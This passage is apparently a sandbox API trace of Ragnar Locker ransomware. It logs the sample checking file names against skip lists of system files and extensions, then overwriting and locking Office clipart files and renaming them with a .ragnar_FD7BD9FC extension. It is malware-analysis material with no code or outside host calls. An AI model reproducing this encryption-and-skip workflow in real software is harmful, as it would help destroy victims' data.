(in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.440] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x50c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x50c, lpOverlapped=0x0) returned 1 [0092.440] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.440] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x50c, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.440] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x50c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x50c, lpOverlapped=0x0) returned 1 [0092.441] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x50c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.441] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.441] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x50c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.441] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.441] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.441] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.441] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.441] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.441] GetProcessHeap () returned 0x580000 [0092.441] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.441] CloseHandle (hObject=0xf4) returned 1 [0092.441] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00560_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00560_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00560_.WMF" [0092.441] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00560_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00560_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00560_.WMF.ragnar_FD7BD9FC" [0092.441] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00560_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00560_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00560_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00560_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.442] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd194b700, ftCreationTime.dwHighDateTime=0x1bd4af1, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd194b700, ftLastWriteTime.dwHighDateTime=0x1bd4af1, nFileSizeHigh=0x0, nFileSizeLow=0x778, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY00642_.WMF", cAlternateFileName="")) returned 1 [0092.442] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.442] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SY00642_.WMF" | out: lpString1="SY00642_.WMF") returned="SY00642_.WMF" [0092.442] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00642_.WMF") returned=".WMF" [0092.442] lstrcmpiW (lpString1="SY00642_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.442] lstrcmpiW (lpString1="SY00642_.WMF", lpString2="autorun.inf") returned 1 [0092.442] lstrcmpiW (lpString1="SY00642_.WMF", lpString2="boot.ini") returned 1 [0092.442] lstrcmpiW (lpString1="SY00642_.WMF", lpString2="bootfont.bin") returned 1 [0092.442] lstrcmpiW (lpString1="SY00642_.WMF", lpString2="bootsect.bak") returned 1 [0092.442] lstrcmpiW (lpString1="SY00642_.WMF", lpString2="bootmgr") returned 1 [0092.442] lstrcmpiW (lpString1="SY00642_.WMF", lpString2="bootmgr.efi") returned 1 [0092.442] lstrcmpiW (lpString1="SY00642_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.442] lstrcmpiW (lpString1="SY00642_.WMF", lpString2="desktop.ini") returned 1 [0092.442] lstrcmpiW (lpString1="SY00642_.WMF", lpString2="iconcache.db") returned 1 [0092.442] lstrcmpiW (lpString1="SY00642_.WMF", lpString2="ntldr") returned 1 [0092.443] lstrcmpiW (lpString1="SY00642_.WMF", lpString2="ntuser.dat") returned 1 [0092.443] lstrcmpiW (lpString1="SY00642_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.443] lstrcmpiW (lpString1="SY00642_.WMF", lpString2="ntuser.ini") returned 1 [0092.443] lstrcmpiW (lpString1="SY00642_.WMF", lpString2="thumbs.db") returned -1 [0092.443] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.443] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.443] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.443] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.443] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.443] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.443] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.443] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00642_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00642_.wmf")) returned 0x20 [0092.443] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00642_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00642_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.443] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1912) returned 1 [0092.443] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x76f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.443] GetProcessHeap () returned 0x580000 [0092.444] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.444] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.445] VirtualAlloc (lpAddress=0x0, dwSize=0x778, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.445] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.445] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.445] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x778, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x778, lpOverlapped=0x0) returned 1 [0092.445] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.445] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x778, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.445] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x778, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x778, lpOverlapped=0x0) returned 1 [0092.445] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x778, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.446] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.446] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x778, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.446] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.446] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.446] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.446] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.446] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.446] GetProcessHeap () returned 0x580000 [0092.446] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.446] CloseHandle (hObject=0xf4) returned 1 [0092.446] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00642_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00642_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00642_.WMF" [0092.446] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00642_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00642_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00642_.WMF.ragnar_FD7BD9FC" [0092.446] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00642_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00642_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00642_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00642_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.447] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2094, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY00788_.WMF", cAlternateFileName="")) returned 1 [0092.447] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.447] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SY00788_.WMF" | out: lpString1="SY00788_.WMF") returned="SY00788_.WMF" [0092.447] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00788_.WMF") returned=".WMF" [0092.447] lstrcmpiW (lpString1="SY00788_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.447] lstrcmpiW (lpString1="SY00788_.WMF", lpString2="autorun.inf") returned 1 [0092.447] lstrcmpiW (lpString1="SY00788_.WMF", lpString2="boot.ini") returned 1 [0092.447] lstrcmpiW (lpString1="SY00788_.WMF", lpString2="bootfont.bin") returned 1 [0092.447] lstrcmpiW (lpString1="SY00788_.WMF", lpString2="bootsect.bak") returned 1 [0092.447] lstrcmpiW (lpString1="SY00788_.WMF", lpString2="bootmgr") returned 1 [0092.447] lstrcmpiW (lpString1="SY00788_.WMF", lpString2="bootmgr.efi") returned 1 [0092.447] lstrcmpiW (lpString1="SY00788_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.447] lstrcmpiW (lpString1="SY00788_.WMF", lpString2="desktop.ini") returned 1 [0092.447] lstrcmpiW (lpString1="SY00788_.WMF", lpString2="iconcache.db") returned 1 [0092.447] lstrcmpiW (lpString1="SY00788_.WMF", lpString2="ntldr") returned 1 [0092.447] lstrcmpiW (lpString1="SY00788_.WMF", lpString2="ntuser.dat") returned 1 [0092.447] lstrcmpiW (lpString1="SY00788_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.447] lstrcmpiW (lpString1="SY00788_.WMF", lpString2="ntuser.ini") returned 1 [0092.447] lstrcmpiW (lpString1="SY00788_.WMF", lpString2="thumbs.db") returned -1 [0092.447] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.447] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.448] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.448] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.448] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.448] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.448] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.448] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00788_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00788_.wmf")) returned 0x20 [0092.448] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00788_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00788_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.448] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8340) returned 1 [0092.448] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x208b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.448] GetProcessHeap () returned 0x580000 [0092.448] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.448] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.450] VirtualAlloc (lpAddress=0x0, dwSize=0x2094, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.450] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.450] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.451] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2094, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2094, lpOverlapped=0x0) returned 1 [0092.451] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.451] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2094, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.452] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2094, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2094, lpOverlapped=0x0) returned 1 [0092.452] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2094, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.452] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.452] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2094, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.452] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.452] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.452] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.452] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.452] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.452] GetProcessHeap () returned 0x580000 [0092.452] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.452] CloseHandle (hObject=0xf4) returned 1 [0092.452] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00788_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00788_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00788_.WMF" [0092.452] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00788_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00788_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00788_.WMF.ragnar_FD7BD9FC" [0092.452] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00788_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00788_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00788_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00788_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.453] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2fdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY00792_.WMF", cAlternateFileName="")) returned 1 [0092.453] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.453] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SY00792_.WMF" | out: lpString1="SY00792_.WMF") returned="SY00792_.WMF" [0092.453] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00792_.WMF") returned=".WMF" [0092.453] lstrcmpiW (lpString1="SY00792_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.453] lstrcmpiW (lpString1="SY00792_.WMF", lpString2="autorun.inf") returned 1 [0092.453] lstrcmpiW (lpString1="SY00792_.WMF", lpString2="boot.ini") returned 1 [0092.453] lstrcmpiW (lpString1="SY00792_.WMF", lpString2="bootfont.bin") returned 1 [0092.453] lstrcmpiW (lpString1="SY00792_.WMF", lpString2="bootsect.bak") returned 1 [0092.453] lstrcmpiW (lpString1="SY00792_.WMF", lpString2="bootmgr") returned 1 [0092.453] lstrcmpiW (lpString1="SY00792_.WMF", lpString2="bootmgr.efi") returned 1 [0092.453] lstrcmpiW (lpString1="SY00792_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.454] lstrcmpiW (lpString1="SY00792_.WMF", lpString2="desktop.ini") returned 1 [0092.454] lstrcmpiW (lpString1="SY00792_.WMF", lpString2="iconcache.db") returned 1 [0092.454] lstrcmpiW (lpString1="SY00792_.WMF", lpString2="ntldr") returned 1 [0092.454] lstrcmpiW (lpString1="SY00792_.WMF", lpString2="ntuser.dat") returned 1 [0092.454] lstrcmpiW (lpString1="SY00792_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.454] lstrcmpiW (lpString1="SY00792_.WMF", lpString2="ntuser.ini") returned 1 [0092.454] lstrcmpiW (lpString1="SY00792_.WMF", lpString2="thumbs.db") returned -1 [0092.454] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.454] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.454] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.454] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.454] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.454] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.454] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00792_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00792_.wmf")) returned 0x20 [0092.454] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00792_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00792_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.454] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=12252) returned 1 [0092.454] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2fd3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.454] GetProcessHeap () returned 0x580000 [0092.455] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.455] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.456] VirtualAlloc (lpAddress=0x0, dwSize=0x2fdc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.456] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.456] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.456] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2fdc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2fdc, lpOverlapped=0x0) returned 1 [0092.457] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.457] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2fdc, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.457] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2fdc, lpNumberOfBytesWritten=0x1eaf30, 